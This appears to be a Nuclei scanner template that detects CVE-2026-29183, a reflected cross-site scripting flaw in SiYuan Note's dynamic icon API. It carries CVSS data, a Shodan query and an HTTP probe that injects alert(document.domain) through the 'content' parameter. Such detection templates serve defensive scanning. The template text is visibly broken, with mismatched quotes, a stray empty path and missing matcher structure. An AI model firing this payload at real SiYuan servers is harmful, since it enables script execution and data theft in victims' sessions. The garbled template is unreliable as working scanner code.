id: CVE-2026-29183
info:
name: SiYuan Note - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Unauthenticated reflected cross-site scripting (XSS) vulnerability in all versions of SiYuan Note containing `/api/icon/getDynamicIcon` with unsafe `type=8` rendering logic. Attacker-controlled `content` is inserted directly into SVG output without proper sanitization. An attacker can execute arbitrary JavaScript in users' browsers when they visit a crafted malicious link.
remediation: |
Upgrade to SiYuan version 3.5.9 or later, which properly sanitizes SVG content.
impact: |
Successful exploitation allows arbitrary JavaScript execution in the SiYuan web origin. Attackers can abuse authenticated API actions and exfiltrate sensitive data if a privileged session is active.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-6865-qjcf-286f
- https://nvd.nist.gov/vuln/detail/CVE-2026-29183
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-29183
epss-score: 0.00625
epss-percentile: 0.46291
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: siyuan-note
product: siyuan
shodan-query: http.favicon.hash:-1450125239
tags: cve,cve2026,siyuan,xss,svg
http:
- method: GET
path:
- "{{BaseURL}}/api/icon/getDynamicIcon?type=8&content=%3C%2Ftext%3Ealert(document.domain)'
- ''
condition: or
- type: word
part: body
words:
- 'id="dynamic_icon_type8'
- type: word
part: content_type
words:
- "image/svg+xml"
- type: status
status:
- 200
# digest: 4a0a004730450220295add57ef5dd8bac09c449df9de7158159ea9f6c5ae205ecf16b65e1d95e26c022100ee2fc755362a7123ffe6abdaec45ec86efb4228ceebd81a04f5f03aaab0455de:922c64590222798bb761d5b6d8e72950